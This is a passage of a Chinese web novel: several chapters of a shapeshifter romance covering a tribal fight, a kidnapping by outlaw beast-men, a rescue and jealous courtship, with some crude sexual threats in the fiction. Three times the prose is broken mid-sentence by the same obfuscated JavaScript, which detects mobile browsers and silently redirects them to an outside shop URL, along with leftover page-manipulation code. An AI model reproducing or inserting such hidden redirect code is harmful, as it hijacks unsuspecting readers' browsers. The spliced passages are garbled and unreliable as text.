犬白并未觉得这个雌性的态度冒犯,毕竟身为尊贵的雌性,又容貌不凡,有骄傲的资本。 他所见到的大部分雌性都是这样,下巴能扬到天上去,以前他是不喜的这种姿态的,现在的话…… 眼前闪过一张冷傲的脸,犬白嘴角微微上扬,就,也还不错。 难得好心情,犬白语气平和回应:“有事?” “你要当我的追求者吗,我给你这个机会。”豹沐双手抱胸,直视犬白。 “他是谁啊,豹沐竟然让他当自己的追求者?” “不认识,新来的吧。” …… 犬白扬起的嘴角停滞,感受到周围人落在自己和面前雌性身上的目光,他的好心情碎了一地,“我……” “我要挑战你。”粗犷的声音打断犬白的话。 侧目,犬白对上豹沐身后虎猛如芒似剑的眼神,好像他抢了人老婆一样。 犬白内心暗骂一声,这叫什么事,莫名其妙。 “虎猛,你干什么?”豹沐不悦地望向虎猛。 虎猛目色暗沉,解释道:“豹沐,你配得上最好的,我先帮你看看这小子的实力。” 闻言豹沐眼珠一转,觉得虎猛说得有道理,“行,那你先考验考验他,别打死了。” “好。”虎猛扭头勾起一抹残忍的笑意,走到犬白身前,他低声道:“豹沐是我看上的雌性,识相的,记得滚远点。” 人无语的时候真的会笑,犬白被整笑了。 虎猛却以为他是在嘲笑自己,猛的变换成一只两米左右的老虎朝他扑过去,誓要给这个不知天高地厚的小子一点颜色瞧瞧。 犬白轻“啧”一声,化作兽身迎了上去。 青时带着陈可来到市集时,正好瞧见一虎一犬的激烈交锋,周围围了一圈人,欣赏这出精彩的打斗。 没人想到这个新来的雄性居然能和部落第一高手虎猛平分秋色,甚至还隐隐占了上风。 虎猛越打越心惊,他能感觉这条狗没有用全力,就已经稳稳压制住他,却又迟迟不打败他,就这样和他僵持。 知道再打下去也没什么意义,虎猛停下进攻,变回人身,脸色很难看,“不打了。” “行。”犬白变回来耸耸肩,同意了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434349|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一旁的豹沐看向犬白的目光中异彩连连,这个人果然如他所料,很强。 他走上前,对犬白说:“喂,你考虑的怎么样,要和我生崽吗?” 犬白勾起一抹假笑,后退几步,“不好意思,我有喜欢的人了。” 豹沐眉毛一拧,“是谁?他有我漂亮吗?” 犬白没有和他多话,他已经看到站在人群中的青时。 豹沐顺着他的眼神望过去,注意到鹤立鸡群的青时……旁边的陈可。 狐狸兽人,容貌确实出色,但是体质比他差多了,而且…… “你喜欢那样的?他伴侣可在旁边。”豹沐十分疑惑。 犬白脸色一黑,他当然知道人有伴侣,那两个人站一起也相当配,不用别人再提醒。 “不关你的事。”犬白不客气地回了句,接着朝青时那边走去。 被毫不留情甩脸的豹沐神情愠怒,这人真是不知好歹,他可是合部落公认的最美雌性。 他放下身份亲自来找他,结果却被这样对待! 发觉周围有些人眼中隐约的嘲笑,豹沐紧咬牙关,眼眸深处恨意涌动。 居然敢让他这么丢脸,他一定要给他好看! 狠狠瞪了一眼犬白的背影,豹沐气冲冲地转身。 “豹沐……”虎猛拉住豹沐胳膊想说什么,却被他一把甩开。 “滚开,没用的废物,连条狗都打不过。” 虎猛被他的话刺伤,心脏绞痛,悄悄握紧了拳头,眼中闪过几分恼怒。 该死的豹沐,要不是你爹是部落首领,有谁会捧着你。 没有热闹看,人群很快四散。 “犬白,你怎么和人打起来了?”陈可笑着朝犬白招手,好奇问道。 “啊,那个呀,刚才有雌性跑过来说要和我生崽,然后我就被他的追求者挑战了。”犬白一边说一边用眼角余光打量青时的反应,他也不知道自己在期待什么。 “看来犬白你还挺受欢迎的,很帅哦!”陈可望着犬白侧脸滑落到脖颈的汗滴,竖起大拇指。 “真的吗?” “当然。”陈可用手肘戳了戳身旁的青时,“鹿青你说是吧?” 被Q到的青时面对犬白隐含期待的目光,点了点头,“嗯。” 犬白呲着白到反光的大牙笑起来,身后似乎有根隐形的尾巴在甩动。 “你们想换什么,一起?” 陈可摸了摸下巴,“还不知道,先看看。” “走吧。”青时拍了拍陈可的肩膀,示意该出发了。 青时陪陈可逛了一圈集市,换了各种奇怪的植物和种子,直到把他们带来的肉干全都换完,他还很依依不舍。 “真的好多好东西,就是太分散了,得自己淘。”陈可手里抱着长条的植物根茎,交易的人说这叫土根,是两河部落的特产,在他看来这跟红薯、山药差不多,是高淀粉主食。 走在他身后的青时和犬白双双两手不得空,提着他换来的东西。 “可以摆个摊子让他们来找你交易。”青时建议。 陈可一听觉得这个方法可行,“可以哎,这个办法好!明天我就来摆个摊儿,但是,除了肉干我们还有什么东西能拿来交易呢?” 犬白插嘴,“你可以交易陶器。” “啊?”陈可看向犬白,眼中有些不可置信,“那些破罐子会有人要?” 听到陈可把自己做的陶器叫破罐子,犬白眉头轻挑,“陶器可是兽神赐予的神圣器皿,只有供不应求。” “嘶——”陈可忽然觉得自己做的那些歪瓜裂枣泛着金光,看样子陶器在兽人大陆挺值钱的。 要是他之后做出更好的陶器,甚至瓷器…… 他不会被认为是兽神使者下凡吧。陈可内心偷笑。 “好,就卖陶器,给他们一点小小的陶器震撼。” 青时附和地点头,“好,明天我送你过去。” “嘿嘿嘿,”陈可狡黠地笑出声,伸手摸了把青时的侧脸,豪气道,“小鹿青,等爷有钱了,爷包养你。” “……”这人彻底不装了是吧?觉得他听不懂包养的意思? 青时望着放完话就跑的人,眉眼透出些许无奈。 一旁看到两人互动的犬白,瞳孔地震,他丢下藤筐,手掌覆盖在陈可摸过的那半张脸,狠狠摩挲了几下,令冰皮似的脸颊透出红霞。 青时因为犬白突如其来的动作和脸上微微刺痛皱起眉,“你做什么?” 犬白垂下眼睑遮住自己眼中翻涌的妒忌,“我看狐可摸得挺舒服的,我也试试。” 听见这么个理由,青时暗暗翻了个白眼,什么都试只会害了你。 侧头躲开犬白的手掌,青时无语地快步往前。 犬白瞧着青时的背影,心中懊恼,他失态了。 但,他控制不了自己,可恶,他看上的人怎么就是别人的! 心头有个魔鬼一直在叫嚣,让他把人抢过来。他觉得自己已经走在失控边缘,一想到两人住在一个山洞,夜深人静的时候会做些什么,他的内心就不由自主地喷发嫉妒,甚至杀意。 为什么拥有鹿青的人不能是他呢? 犬白想到在狩猎地时,陷入自己皮毛中的小小一只,那么小一个雄性合该就呆在他怀里! 深吸几口气压下脑海里繁杂的思绪,犬白捡起地上丢下的东西追了上去。 38.白鹿6 交易日一般会持续五个太阳日的时间,陈可靠出售瓷器在交易日上收集到了很多新奇的植物,他乐在其中。 青时陪着陈可去了两天,他顾忌青时的腿伤,后来就不让跟着了,青时想反正交易集市是在部落内,应该不会出什么事,便也没有强求跟着去。 交易日最后一天,太阳都下山了,青时也没见人回,平常这个时候应该早就回来了才对。 难道是有事耽搁了? 又等了好一会儿,夜色降临,青时拿上弓箭出去找人。 “这么晚去狩猎?”刚出山洞就遇上犬白,看方向他应该是从集市回来的。 青时摇头,“不是,你有看见狐可吗?” “怎么,他还没回?”犬白眨眨眼,有些疑惑,“他很早就离开交易集市了。” 青时眉头紧蹙,预感不妙,不会出什么事吧? 犬白见不得青时为别人露出这种担忧的神色,拉住他的手臂,“走,我们一起去集市上问问,看有没有人注意狐可往哪边走了。” “好。” 青时和犬白回到交易集市,还好今天是交易日最后一天,集市上的人还未散去,青时从陈可旁边摊位的狸猫兽人口中得知了他的去向。 猫哩啃着青时递过来的肉干,含糊道:“我看见他跟着一个蛇族人往那边去了,还带走了所有陶器。” 青时顺着他所指的方向看去,瞳孔微缩,脸色瞬间变化。 合部落的西面,地势凹陷,树木格外高大旺盛,绵延出去望不到头,被称为魔鬼之森,部落的禁忌之地。 不是因为有什么凶残大型猛兽,而是其中生活着一支游兽队伍,游兽是背弃兽神的兽人,他们毫无顾忌,烧杀抢掠,无恶不作,是人人喊打的存在。 那只游兽队伍是五个雪季前被部落的人发现的,因为魔鬼之森太容易隐藏踪迹,合部落的兽人一直没有机会将他们驱逐,只在外围设了一道关卡,防止游兽突袭部落。 部落的人都知道这件事,一般不会有人靠近那边…… 等等,青时突然想起,他好像没有特地给穿越后的陈可交代过,那边是部落的禁地,所以说他是真的有可能不知道那里的危险,傻傻跟着人走了? 蛇族…… 听说魔鬼之森里那支游兽队伍的首领就是一个名叫蛇溪的蛇族雄性…… “多谢。”青时按了按胀痛的太阳穴,向猫哩道谢后离开集市。 “怎么了?”犬白注意到青时不对劲的神色,问道。 “狐可去的地方叫魔鬼之森,里面有一群游兽。”青时叹了口气。 “游兽?”听到这个名词犬白有些诧异,“部落居然会容忍一群游兽生活在距离这么近的地方?” “魔鬼之森太大,部落没办法完全驱逐他们。”青时向他解释,然后又说:“犬白,我要进森林去看看,你先回去吧。” 犬白拦住他,“你打算一个人进去找人?” 看到青时理所当然的眼神,他心头火起,沉下脸色,话音低沉嘲讽,“就你这样去,别说救人了,恐怕连自己都得搭进去。” 犬白意有所指地瞟了一眼青时受伤的左腿,“你这样的雄性,落到他们手里只怕会比你那个伴侣惨的多。” “你知道他们会怎么对你吗?”犬白黝黑的眸光暗沉,透出某种危险的光,“他们会把你关起来,上下侵占,在你的肚子里灌满他们肮脏腥臭的东西!身为雄性的你怀不了孕,会被一年四季禁锢在不同的人身上,让你成为他们势峰上长出来的东西!” 青时因为他粗俗的言语稍稍睁大双眼,脚下后退一步,似乎是被他的形容吓到。 犬白注意到他的动作,冷哼一声,“哼,知道害怕了?” 青时垂下眼眸,说:“多谢你的告诫,我会小心的。” “你!”犬白生气青时的固执,又羡慕他对陈可的关心,见他决心要一个人去找人,懊恼地暗骂一声,抓住他的手臂,“我跟你一起进去。” “不……”青时刚要拒绝,便被他打断。 “不许拒绝,我可比你强,你忘了之前还是我救的你。” 手臂被攥得极紧,好像他不答应他就不松手,青时张了张嘴,最后吐出一句:“随你。” 听到回答犬白这才松开手,“走吧。” 魔鬼之森的树木高耸入云,十分繁盛,月光无法穿透层层交叠的树叶照射下来,因此里面的空间比外面黑了不止一个度。 连夜视能力不错的兽人进入都会受到影响,只能看清大概。 青时和犬白没有变成兽形,毕竟白色在一片漆黑之中太过显眼。 犬白贴近青时,轻声说话,“你打算怎么找人?” 青时:“很久之前我进入过魔鬼之森,这片森林确实大,但是适合族群驻扎生活的地方不多,我恰好知道一些。” 犬白点点头,“难怪你有胆子一个人进来。” 熊熊火焰燃烧,照亮了整个山坳,人影憧憧,很是热闹。 一向高傲的豹沐被绑在树桩上,十分狼狈,身上满是泥土。 他扯着嗓子尖叫,“蛇溪,你居然敢这么对我!我父亲不会放过你的!” 正和属下大口吃肉庆祝的蛇溪哈哈大笑,他来到豹沐身前,钳住他的下巴,“小豹子,你还没搞清楚形势?你现在人在我的地盘上,我想怎么弄你就怎么弄你。” 蛇溪脸上有道疤,像一把利剑贯穿整个左眼,让他本来就凌厉的五官更加恐怖。 此时居高临下地俯视豹沐,倒印在他眼中如同恶鬼一般,他突然感到害怕,降低声调,“你骗我,你不是喜欢我吗,为什么要把我也抓起来?” “你不是说你也喜欢我吗,所以我把你一起留下来,不好吗?” 豹沐咬牙切齿,“混蛋!”他后悔极了,父亲早就告诫他游兽的危险,他却被蛇溪的花言巧语欺骗,以为这人真的爱他爱得死去活来,结果根本就是狼子野心。 “哈哈哈,”蛇溪大笑,松开手,拿起放置在石头桌上精致的陶碗,“兄弟们,看看这精贵的陶器,有了它我们可以不费吹灰之力换到想要的一切。” 围坐在火焰边的游兽们发出高昂的吼叫声,为蛇溪口中的未来神往。 青时和犬白二人就是在这时摸进这个营地的。 “看来狐可是真被游兽抓了。”犬白看到蛇溪手里的陶器,语气笃定。 望着下方热火朝天的场面,青时微微颔首,只是他有些疑惑,“豹沐怎么会在这里?” 犬白耸耸肩,他也不知道。 下方蛇溪大手一挥,吩咐下属,“去,把那个狐族雌性请出来,跟大家伙儿见见面。” 没一会儿,脸色很差的陈可就被推搡着走出来,蛇溪走到他身边揽住他的肩膀,“兄弟们,这位就是这些瓷器的制作人,狐可先生。” 被众多陌生兽人赤裸裸的目光盯着,陈可的身体不受控制地细细颤抖。 他不知道为什么自己会出现在这里,下午的时候有一个兽人带了一颗辣椒来找他交易,作为一个无辣不欢的人,他当然很高兴,听到人说还有植株可以换,他想都没想就跟着人进了森林,结果居然是仙人跳。 他被迷晕,醒来就来到了这个地方,他听他们说这是什么游兽的地盘,他不清楚游兽是什么,但是他看到了被关在山洞里那些兽人雌性,甚至瘦弱的雄性,凄惨的模样,他意识到,这绝对不是什么好地方。 他一直在想这些人为什么抓他,现在看来是因为他的陶器。 老祖宗说的财不露白果然有几分道理。 蛇溪感受到手下躯体的颤抖,轻轻拍了拍陈可的肩膀,“别紧张,只要你乖乖听话,不会把你怎样的。” 陈可麻木着脸,说不出话,内心挂着两条宽面条眼泪。 救命!玉皇大帝、王母娘娘各路神仙,原始时代太危险,我想回家。 火光渐暗,热闹停歇。 两道修长的身影悄悄走进游兽的营地,守在洞口的人被两人默契解决。 一只手忽然搭上躺在冰冷坚硬石头床上的陈可肩膀,本就没睡意的他浑身一激灵,差点大叫出声,好在温凉的手掌及时堵住了他的嘴。 他扭头看到来人,眼中迸发出惊喜,“鹿青?!你怎么会在这儿?” “嘘。”青时示意他安静,“跟我来。” 陈可忙不迭点头,得救了! 陈可被安置在单独的山洞,青时的营救很顺利,他带着陈可很快和洞口望风的犬白汇合。 豹沐被绑在外面的木桩上,没人管他,又累又困的他低着头打盹,耳边忽然听到一阵声响,他睁开眼,正好瞧见青时他们的身影。 双眼一亮,他大声喊道:“犬白!鹿青!你们赶紧救我!” 不好!鹿青在豹沐张嘴时就朝他冲过去,结果还是没赶上。 扑棱棱的翅膀拍击声从四面传来,这动静,死猪都该醒了! 青时用骨刀划开绑住豹沐的草绳,见他还想说什么,连忙呵斥:“闭嘴,快走。” 豹沐脸上闪过一丝不悦,他摸着自己红肿的手腕,命令道:“犬白,我脚麻了,你背我回去。” “……”好大的脸。 一句话把在场三个人都干沉默了。 犬白丝毫不给他面子,嗤笑道:“走不动,那你就留在这儿吧。”他拉住青时,“别管他,我们走。” 陈可都被他这操作整懵了,不是兄弟,说话之前看看场合,你当自己在郊游吗? 见他们真的不管他,豹沐气愤地跺了跺脚,到底还是一瘸一拐跟了上去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445981|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗的树林中突然出现跳动的火光,深黄近红,打头的青时猛的停下脚步,他环视一周,发现四周全都有,他们,被包围了。 “几位来了就走,不合适吧?”蛇溪举着火把从树后走出,嘴角挂着邪肆的弧度。 青时默默拉弓上箭,看来,一场恶战是难免了。 被锋利的骨箭瞄准头颅,蛇溪丝毫不慌,他看着清冷孤傲的青时舌尖舔过嘴角,淫邪的目光在莹白肌肤上四处舔舐,“你是哪族的雌性?” 回答他的是一只闪着寒光的冷箭,“眼睛不要我帮你解决。” 兽化的右手布满粗鳞,尖锐似铁的五指轻松拿捏住疾驰而来的骨箭,蛇溪将手里的箭放到鼻尖下细嗅,神情陶醉,“原来是雄性吗……不要紧,雄性更耐干,我喜欢。”说着他还朝青时顶了顶胯。 青时颊肉绷紧,眸色冰冷,再次抽箭,而比他更快的,是变身的犬白。 白色的狼犬面露凶光,冲着口无遮拦的蛇溪扑过去。 蛇溪不慌不忙原地转化,变为一只身长三米、鳞片玄黑、背有倒刺的四脚蛇,同犬白正面交锋,同时还下令:“兄弟们,这条狗交给我,你们拿下那三个。” “放心吧老大!” 三人被团团包围,唯一有战斗力的青时变为白鹿迎战。 游兽们看着小巧毫无攻击性的白鹿哈哈大笑,“这是哪来的小鹿啊,要不要来哥哥怀里快活快活?” 下一秒玉白的鹿角化身为刀,精准地割断一人的喉咙,血雾缠绕繁复的鹿角,更显晶莹透亮。 谁也没想到,鹿这种温顺的动物,攻击竟然这般凌厉。 四溅的鲜血诱发了游兽们的野性,他们纷纷发出兽吼,变化兽态。 轻巧的鹿游走在一只只庞大的肉食动物之间,一时间逼得他们不得存进,但青时知道这是暂时的,这些游兽并没有使出全力,他们只是为了活捉他,在消耗他的体力。 只等他露出力竭的破绽,他们便会一拥而上。 后腿愈合了大半的伤口又开始抽痛,青时咬紧牙关,不敢露出疲态。 犬白察觉到青时这边的窘境,丢下对手蛇溪冲进包围圈,一爪过去抽飞好几个人,用尾巴卷起瑟瑟发抖的陈可和豹沐,他朝青时高喊一声:“走!” 说完一跃而起踩着对手的身体跳了出去,青时紧随其后。 眼看人跑了,身上鳞片被狗刨得不像样的蛇溪怒吼:“给我追!” 今夜的惊鸟久久盘旋在半空,游兽在他们身后穷追不舍,青时忽然在前方看到了火光,他心里一沉,不会吧? 一犬一鹿紧急刹车,一张宽阔的国字脸出现在他们面前,青时猛的松了口气。 被卷在尾巴上的豹沐看见来人,激动地挣扎起来,嘴里喊着:“父亲,你来救我啦!” 犬白歪了歪头,将人放了下去,豹沐扑进豹山的怀里委屈地哭了起来,他吓坏了。 豹山心疼地拍了拍豹沐的肩背,“好孩子,没事了。” 安抚好豹沐,豹山严肃地目光刺向青时三人,“这究竟是怎么回事,你们怎么会出现在魔鬼之森?” 青时上前一步,解释道:“首领,我的伴侣被游兽抓走,我来救人的。” “什么?!”豹山勃然大怒,“这群游兽真是胆大包天!虎猛,你带人去,给他们点颜色瞧瞧!” 吼—— 一场激烈的打斗过后,蛇溪带领的这支游兽队伍败了,老大蛇溪被活捉。 “哼,”豹山看着被扭送过来的蛇溪,冷哼一声,“蛇溪,你好大的胆子,真以为我不管你们这群丧家之犬,是管不了吗?!居然敢对部落的人动手!” 蛇溪被咬掉了一只胳膊,脸色狰狞,他望着上方的豹山,视线落到他身后脸色苍白的豹沐身上,咧嘴笑道:“豹山首领,这可不全是我的错,是你儿子为了教训人家,特地来求我帮忙的。” 豹山眼角余光瞥见默不作声的豹沐,心里已经信了几分,毕竟以豹沐的性子,如果是被冤枉,再害怕也不会一言不发。 他沉默了一瞬,怒喝道:“一派胡言!” “咔嚓”蛇溪死了,脖颈被豹山拧断。 但他的话还是在青时几人心中激起了涟漪,看来是豹沐招来蛇溪抓走陈可,却不想人家连他一起抓了,自己也跟着遭罪。 青时回头看了眼垂着头、脸色苍白的陈可,向首领豹山提了告辞。 回去路上,青时看着沉默的陈可,说:“对不起,我忘记告诉你不能来魔鬼之森这边了。” 陈可摇摇头,“害,是我太没有防备心了,怎么能怪你。”他拍拍自己的胸膛,“你看我这不好好的,最多受了点惊吓,那个豹沐可比我惨多了,被绑在外面站了好久。” “害人终害己。”陈可嘟囔了一句。 39.白鹿7 犬白第一次踏足青时所住的山洞,洞里很宽敞,墙上挂着兽皮、兽骨、兽肉,地上有藤筐,里面放的是果子和一些野菜之类的。 左边有一个石台,上面放着一块磨石,旁边是大大小小的骨片和粗细均匀的树枝,这应该是青时制作弓箭的地方; 视线往右,罐子、碟子、盘子,很多陶器,被安放在木头搭成的架子上, 但是……犬白望着满满当当的洞穴有些纳闷,这么多东西,他们两个睡哪儿? 等到再往里,看到山洞内部还有两个洞口时,犬白才知道原来是内有乾坤。 看着陈可撩开挂在洞口的兽皮进了房间,青时转身向犬白道谢:“犬白,今天,谢谢你。” 犬白注意到面前人说话时,眉眼间棱角消失,如同千年冰凌化成一汪春水,整个人带着不可思议的软和。 第一次见到这只高傲的小鹿这副模样,他的嘴角不受控制地上扬,“这没什么。” 内心止不住的暗爽,他连忙转移话题,“你的腿没事吧?” 青时看向自己的左腿,已经痛到麻木,他都快忘记这个伤口了,观察了一下情况,他说:“没什么大碍,长好的伤口撕裂了一些,等下重新上药就好了。” 凸起的喉结滑动两下,犬白靠过去,低声说道:“我也需要上药。” “你受伤了?”青时上下打量犬白的身体,试图找到伤口,“给我看看。” 犬白稍稍昂起头,指了指自己下巴下面,青时凑近看,发现那里有一条手指长的划伤,这点伤口以兽人的体质,第二天就能长好,远达不到上药的标准。 “……”青时一时有些无言,看向犬白的眼神透着无奈,这人不会是逗他吧? 犬白张着眼睛,神情无辜,“好疼。” 青时仿佛看到一只白毛大狗在朝自己呜咽,“……你跟我来。” 犬白跟着青时进了另一个洞口,里面空间很小,墙上挂着弓箭和箭囊,靠里是一张铺着兽皮的石床,简洁明了,一看就是青时的风格。 他抱臂环视一圈,眉头轻挑,“你睡这儿?” 找药的青时头也没回地“嗯”了声,他没看到,听见他的回答,身后之人眼神陡然亮起来,两颗抢眼的犬牙露出唇外,“你和狐可……你们不是伴侣吗,不睡一起?” “我们还未举行结合之礼,所以暂时没有住在一起。”青时拿着树叶包裹的药膏递过去,“给你。” 犬白没接,而是抓住青时的手腕,眼神幽深,露出些野兽的凶狠劲儿。 青时十分疑惑,于是问道:“你怎么了?” 注意到自己的失态,犬白侧头吐出一声粗重的呼吸,压下激荡的心情后,才说:“我看不到伤口,麻烦你帮我,可以吗?” 他是觉得找别人帮忙上药很难为情吗?看到他的表现,青时猜测。 有点可爱。垂下眼睑遮住眼中的笑意,青时回道:“好,我帮你。” 为了方便上药,犬白坐在石床上,仰着头,这个角度刚好能看到那对蝴蝶羽翅般浓密轻巧的睫毛,一呼一吸,上下翻飞,美不胜收。 青葱的指尖落在古铜的肌肤,痒、麻、热从那小小的伤口处扩散,传遍全身。 喉颈间的凸起不停地上下滑动,克制的呼吸还是逐渐带上了热度。 “好了。”撤回的手猛的被人抓住,青时望向脸颊泛起红晕的犬白,眼中带着疑问。 犬白颊肉紧绷,声音暗哑,“再摸一下。” 青时手一抖,视线向下看到他腰间被顶起的兽皮,瞳孔瞬间缩小,他……在发情? 青时张了张嘴不知道说什么,只好抽回手,干巴巴来了句:“自己解决。” 望着小鹿急匆匆逃离的背影,犬白缓缓吐出一口浊气,眼中满是势在必得。 第二天首领豹山传唤了青时和陈可,送给他们几十斤肉干和一对铁制的匕首,说是感谢他们救了豹沐,还说可以推荐会制陶的陈可成为巫的学徒。 青时知道这是豹山对豹沐所做事情的补偿,他这个首领虽然护短,行事却还算公正。 因为是给陈可的补偿,他没有多话,收与不收,全权交给陈可自己决定。 最后陈可拒绝了豹山的提议,只收下了那一对铁制匕首。 “鹿青,给。谢谢你昨天来救我。”陈可将一把匕首递给青时,开玩笑般说道:“我们一人一个,正好当情侣款。” 青时眼中浮现点点笑意,接过匕首挂在腰间,陈可也学他挂了起来。 两人走在一起,腰间的匕首同步晃动,在别人看来确实很般配,当然,这个别人不包括犬白。 他看着两人一模一样的匕首,瞪得眼珠子都红了,“你们这是?” 陈可没有注意到他的不对劲,高兴地回答道:“是首领送的奖励,只有一对,漂亮吧!” 靠!犬白咬咬牙,挤出句:“一般。” 陈可纳闷地瞟了眼犬白,似乎在疑惑他的不识货,这可是铁器,原始大陆的铁器多珍贵啊! “鹿青,你说好不好看?”他扭头寻求青时的意见,犬白见状也看向青时。 面对两人的灼灼目光,青时微微点头,“好看。” “哈。”陈可短促笑了声,得意地瞥了眼犬白。 看着陈可欢快的背影,犬白后槽牙收紧,他走到青时身侧,酸溜溜地说道:“这有什么好看的,下次我送你个更好的。” “?”青时眉头微动,不知道他说这话什么意思,“不用。”他绕过挡路的犬白追上陈可,两人再度言笑晏晏,看得犬白拳头紧绷。 该死,一个没看着,这两人就更进一步,现在连信物都戴上了! 不行,等赶紧想个办法混到青时的山洞里去,不能再让他们两个单独相处! 犬白也没想到自己期待的机会来得这么快。 连续几天的大雨落下,他所住的简易山洞很快洪水泛滥,无处下脚,于是他带着自己不多的家当,冒雨来到了青时的山洞。 彼时青时和陈可正在吃饭,浑身湿透的犬白站在山洞外,一副可怜相。 听见动静出来查看的青时看到他这副模样,愣了一下,随即说道:“进来。” 装可怜成功的犬白乐开嘴,屁颠屁颠跟着进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463783|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山洞中间被清出来一片空地,烧着火,尽管下雨,里面倒也不冷。 “犬白,你怎么来了?”啃着烤山根的陈可瞧见狼狈的犬白,问道。 犬白把手里的兽皮包裹放下,甩了甩头发上的雨水,“我的山洞进水了,住不了人。”他用余光注意着坐回火堆边的青时,语气试探,“能不能在你们这里住两天?” “啊?”山洞是青时的,陈可没有自己是主人的觉悟,于是他看向青时。 青时咽下口中的食物,瞟了眼满脸期待的犬白,答道:“可以。” “太好了,犬白你快来烤火,别生病了。”陈可笑着说。 犬白坐到青时身侧,他看着青时将圆润如珠的黑色果实送进嘴里,好奇问道:“好吃吗?” 青时嘴里含着东西,不便说话,于是拿着最后一颗珠珠果递过去,想让某只好奇的狗自己尝。 却不想犬白没有接,而是就着他的手掌吃了下去,不知有意无意,滑腻温热的舌头重重舔过掌面,将珠珠果卷进嘴里。 青时手掌轻抖,皱眉望向他,这人怎么一点边界感都没有? 察觉青时的视线,犬白咬碎口中的果实,咧嘴笑道:“唔,好甜。” ……算了,和一条傻狗计较什么。 青时收回手,不再理会他。 一旁的陈可看到这一幕,以为他是饿了,从灰烬里扒拉出两节山根,递过去,“犬白,吃这个吧,这个顶饱。” 犬白接过山根道了声谢,却没有吃,他侧头看向青时,问道:“鹿青,我睡哪儿?” 青时无语地瞥了他一眼,这话问得,难不成还能安排他和身为雌性的陈可一起睡? “和我一起。” 听到满意的回答,犬白心头乐开了花,面上却不露声色,“好的。” 犬白就这样理所当然的爬上了青时的床。 青时住的这个洞穴,是在陈可搬过来后,临时挖的,空间不大,石床也比较小,两个高大的雄性躺在上面,显得有些局促。 青时侧身躺着,面朝石壁,背后紧贴一具火热的身躯,头顶的发丝清晰地感知到另一个人的呼吸。 他突然有些后悔,不该看那条狗太可怜就收留他的,和另一个男人同床共枕这种事,好奇怪。 闭目养神了许久,青时才在周公的召唤下进入梦乡,身后的犬白听见他变得平稳的呼吸,缓缓睁眼。 伸手将快要贴在石壁上的小鹿揽进自己怀里,他把头埋进青时的后颈,喉头发出一声喟叹。 做了一夜泰山压顶梦的青时睁开双眼,低头看到某人搭在自己身上的手臂,微微皱眉后他伸手想拨开,没成想这手臂像焊在自己身上一样,根本掰不动,反而他自己出了一身汗。 轻“啧”一声,青时扭头看向还安稳睡着的某条狗,直接一个肘击。 “唔!”犬白因为胸口的疼痛清醒过来,他迷迷糊糊的看到青时,凑过去把头埋进他的颈窝,蹭蹭。 粗硬的发丝在皮肤上摩擦,有些痒,又有些痛。 “嘶。”青时抓住他后脑的头发,用力,“别蹭了,手拿开。” 40.白鹿8 青时没想到犬白这家伙,彻底赖在他家里了。 为了不被赶走,他甚至帮青时把房间挖大了一些,那个石床现在已经完全能躺下他们两个还有盈余。 青时都不好意思说他,有这功夫他都能重新挖个洞了。 犬白这一住就住到了合部落萱花节这天。 雪白的狼狗咬住黄毛老虎的脖子,将他甩了出去,两米高的老虎“砰”一声摔倒地上,向后滑出去好几米。 “吼——” “好!” 喝彩声从四周传来,原来这是一场角斗。 老虎输了。 犬白变回人身,走出去。 “犬白兄弟,不玩了?”看到犬白离开角斗圈,马岩跟了上去。 “没意思。”犬白已经连赢三场,合部落这些兽人跟他以前对战的,不在一个层次,太弱了。 他驻足扫视一圈,奇怪,鹿青和狐可人呢? 他们明明一起来的,怎么这一会儿人就不见了? 马岩注意到他的神情,好奇问道:“找什么呢你?” 犬白:“鹿青和狐可。” 马岩挠挠头,“啊?他们现在应该去兽神石像前了吧。” “在哪?” “还要往上走,看见山上那个燃烧的巨大火堆了吗,就在那儿。”马岩往山上指了指,随后笑道:“你这么着急去看他们的结合之礼吗?” 犬白脚步一顿,“什么结合之礼?” 马岩眨巴眨巴眼睛,“呃……你不知道吗,萱花节最重要的环节,是部落里相好的兽人在兽神见证下举行的结合之礼。” 听他说完这话,犬白脸色大变,脚下生风往山上跑。 “唉唉,还没开始呢,你去了也……”看不着啊!马岩话都没说完,就只看到犬白的后脑勺了,他望着跑得飞快的犬白拍拍脑门,心中腹议:怎么感觉他比要举行仪式的兽人还着急,都到这时候了他不会还想着挖墙脚吧? 篝火熊熊燃烧,三层楼高的类人石像静静站在那里,模糊的五官透出些许悲天悯人。 宽阔的广场上一对对兽人两两相携,等待着在兽神的注视下互许终身。 “……巫会为结对的兽人赐福,到时候部落所有人都会来观看。”青时在为陈可介绍结合之礼的流程。 他们只是来参观的,早在几天前青时就询问过陈可的意见,陈可考虑之后说暂时不结对,青时尊重他的意见。 “想不到这结合之礼还挺浪漫的。”陈可感叹道。 